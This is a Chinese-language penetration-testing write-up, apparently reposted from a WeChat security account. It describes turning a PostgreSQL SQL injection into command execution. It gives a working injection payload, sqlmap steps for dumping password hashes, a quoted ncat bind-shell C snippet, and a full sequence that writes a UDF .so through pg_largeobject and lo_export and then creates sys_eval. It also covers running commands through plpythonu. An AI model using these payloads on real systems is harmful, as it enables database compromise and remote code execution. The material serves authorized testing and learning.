实战案例:针对某系统postgresql注入

admin 2021年12月24日06:31:27评论784 views字数 4462阅读14分52秒阅读模式

实战案例:针对某系统postgresql注入



△△△点击上方“蓝字”关注我们了解更多精彩




0x00 介绍

 一次内部攻防演练,发现一站点的日期搜索功能存在SQL注入漏洞,经过初步探测,目标系统为Centos7+Apache+PHP7+PostGresql9.6;由于测试时忘记留存部分相关信息,此次复现是在docker环境下进行测试,省略了SqlMap跑数据库的过程。

 在实际过程中,文章中后面提到的执行命令的方法,在通过获取到pgadmin界面同样适用。




0x01 注入点发现

 注入点是通过手工注入进行测试发现POST方式提交id参数:

id=xxx-xxxx-xxx’ AnD 9527=9527 And ‘hello’=’hello
   一个简单的逻辑注入。



0x02 利用SQLMAP测试

PostGresql的一般注入形式与Mysql大同小异,使用SQLMAP主要进行了以下测试。

一、获取PostGresql用户名与密码hash,在国内外各大平台尝试碰撞,无果;若破解出,尝试远程登陆数据库(PostGresql默认不允许远程登陆)。

实战案例:针对某系统postgresql注入

 

二、跑users表;后台登录的数据表中密码应该是经过加盐运算的,无法登录后台进行测试;

实战案例:针对某系统postgresql注入

三、尝试使用sqlmap反弹os-shell回来:sqlmap反弹系统shell大致原理是通过上传一个带上传文件功能的文件,然后通过该文件将另一文件上传,并通过第二个文件将终端输入的命令执行结果返回给终端。一般来讲,mysql或postgres数据库用户对当前网站目录是没有写入权限的,并且未通过报错等信息得到网站的根目录。

个人使用--os-shell此种方式只在mssql中成功过。


四、利用sqlmap在终端中反弹回一个sqlshell,利用此shell进行文件的读取、写入与执行。






0x03利用sql-shell读写文件
目标系统是PostGresql 9.6版本,查阅参考了一些资料。PostgreSQL 8.1版本之后提供了可直接操作文件的函数,
Pg_logdir_ls()、pg_ls_dir()、pg_read_file()、pg_file_write()。

实战案例:针对某系统postgresql注入


这些操作文件的函数权限只在PostgreSql目录及其子目录下

默认目录是下面的这个。所以通过此类函数对其他目录下的文件进行读写。

实战案例:针对某系统postgresql注入

针对读写文件利用方式思路为创建数据库,将文件读取/写入数据库中,在导入/导出数据库”。

读文件:

实战案例:针对某系统postgresql注入

写入文件也是通过类似的方式,但也没有向web目录下写入文件的权限。



0x04 命令执行

在查阅参考资料、自己动手实践后,执行命令具体有两种方式。

在Postgres数据库中,可以在contrib文件夹下新增拓展包来实现用户自定义的函数、数据类型、触发器等来拓展服务器的功能,可以拓展控制文件、SQL文件、或者库文件,这里利用扩展库文件方式实现命令执行。

一、扩展库文件,调用扩展包函数执行命令

网上公开的资料中提到,利用系统自带lib中的system()函数来执行,相当于是加载了外部动态链接库中的函数。

我这里的lib.so.6文件在此目录下

实战案例:针对某系统postgresql注入


利用此so文件创建函数,报错:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;

实战案例:针对某系统postgresql注入


这是因为当PostgreSQL加载外部动态链接库时,外部库中没有引入magic data会首先检查有没有“Pg_magic_func”函数,若有则将其返回值与当前数据库内核做比较,不符合就报错,具体逻辑在src/backend/utils/fmgr/dfmgr.c 中定义的internal_load_library函数中。

查阅了下资料,具体开发postgresql其他库或C文件时,需要将magic data引入并编译。如下方是pentest-wiki中给出的反弹shell的实例(可将该代码编译为so文件上传反弹shell):

###BIND SHELL###// bind shell on port 4444#include "postgres.h"#include "fmgr.h"#include <stdlib.h>//声明引入 magic data #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC;#endif text *exec(){    system("ncat -e /bin/bash -l -p 4444");}

可以看出其中引入了magic data。

所以就需要我们自己去定义一个包含magic data并且能够执行命令的so文件,将该文件写入到目标机器中并添加其扩展库,执行命令。

这个在sqlmap中的udf目录中,有现成的so文件

实战案例:针对某系统postgresql注入


二、写入该文件

这里参考了:http://www.91ri.org/6507.html。利用postgresql大对象存储方式写入文件。

Postgresql提供了一套函数接口,可以用来操作大对象。这个大对象与普通的整型、时间类型等不同,是用于存储一些文件、图片等较大尺寸的数据对象

每一个大对象会被拆分成一个个“LOBLKSIZE”大小的子项,当做元组项,置于数据页中。大对象在数据页中连续存储,每次的存储单位是一个元组(大小就是LOBLKSIZE)。

具体可参考:

https://www.yiibai.com/manual/postgresql/catalog-pg-largeobject.html

 

show blok_size查看LOBLK_SIZE。我这里是8k。

实战案例:针对某系统postgresql注入

Posegresql中内置了一些可以操作大对象的系统函数。df lo_*命令查看。

实战案例:针对某系统postgresql注入


pg_largeobject大对象包含以下三个字段,每一字段的具体含义如下:

实战案例:针对某系统postgresql注入

实战案例:针对某系统postgresql注入

三、利用PG lo写入对象。

将so文件转换为十六进制,并划分为每个大小为4k长度的十六进制字符串;

cat cmd.so | xxd -ps | tr -d “n”

实战案例:针对某系统postgresql注入

1、创建大对象标识符,向此大对象数据中写入文件(数据表中体现就是数据的一列)。

SELECT lo_create(8848);

2、写入数据:

Insert into pg_largeobject values (8848,0,decode(‘7f454c.......’));Insert into pg_largeobject values (8848,1,decode(‘020000.......’));Insert into pg_largeobject values (8848,2,decode(‘ff4883f.......’));Insert into pg_largeobject values (8848,3,decode(‘000000.......’));Insert into pg_largeobject values (8848,4,decode(‘181e20.......’));Insert into pg_largeobject values (8848,5,decode(‘d02000.......’));

3、导出数据:

Select lo_export(8848,’/tmp/cmd.so’);

4、创建函数并命令:

#创建CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;#执行select sys_eval('id');

实战案例:针对某系统postgresql注入

5、删除该函数:

drop function sys_eval;

  就可以通过wget或curl等命令上传后门获取交互式的shell进行后续操作。

四、利用Perl/Python的脚本语言功能

原理参考:https://www.postgresql.org/docs/9.6/index.html

PostgreSql是一个开放的数据库,支持自定义数据类型,索引方法,函数与扩展编程语言等等。就是说可以将编程语言与数据库融为一体,将程序放到数据库中执行。也就是说可以利用python/perl等语言去执行系统命令。这些扩展语言是以插件的形式存在的。在postgresql安装的extension目录下:

实战案例:针对某系统postgresql注入

PostgreSql中默认只支持C语言等,所以在获取目标sqlshell后,可以先查看当前系统中是否扩展函数:(此处以plpythonu{python2}为例)

实战案例:针对某系统postgresql注入

利用:

通过postgresql扩展的plpython,自定义postgres函数来执行系统命令,执行命令的返回结果作为函数的返回值传递;

在postgresql中创建自定义的plpythonu函数有几种方式:

(1)用户自定义函数

(2)触发器函数,当用户对当前数据表有增删改查等操作时自动执行的函数;需要针对某一个表绑定该触发器,

这里以用户自定义函数为例:

创建函数标准语法(postgresql 9.6):

CREATE FUNCTION funcname (argument-list)  RETURNS return-typeAS $$  # PL/Python function body$$ LANGUAGE plpythonu;

其中 #PL/Python function body是函数体,(通俗的说就是python脚本),执行命令demo:

实战案例:针对某系统postgresql注入

注意,这里使用os.system(‘command’)来执行命令时,返回值为0或1,即为执行命令成功或失败。所以使用os.popen().read()返回参数执行结果(这里注意一下使用for等命令首行缩进等问题):

实战案例:针对某系统postgresql注入实战案例:针对某系统postgresql注入



0x05 总结

针对Postgresql注入的命令执行方式,文中提到的第一种与mysql-UDF注入方法类似,区别是mysql-UDF注入中需引入的二进制文件必须写入到plugin文件夹下,postgresql-udf注入则可以写入任意文件夹;

第二种是使用postgresql中的扩展函数来执行命令。本例使用plpythonu执行命令。运维人员使用拓展语言是为了方便批量化操作与特殊处理,在实际的测试中,还可能遇到java/perl等语言的情况。能否利用,怎样利用,还是取决于对sql注入、数据库特性的理解。



1、本团队任何实战都是已授权的、任何技术及工具也仅用于学习分享,请勿用于任何非法、违法活动,如有违背请自行承担后果,感谢大家的支持!!!


2、本团队一贯秉承Free共享的精神,但是也有大家的小愿望,因此本团队所有分享工具,严禁不经过授权的公开分享,被关注就是对我们付出的精力做的最大的支持。


END



如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!

实战案例:针对某系统postgresql注入

或添加NOVASEC-MOYU 以便于及时回复。

实战案例:针对某系统postgresql注入


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!



本文始发于微信公众号(NOVASEC):实战案例:针对某系统postgresql注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月24日06:31:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战案例:针对某系统postgresql注入http://cn-sec.com/archives/463753.html

发表评论

匿名网友 填写信息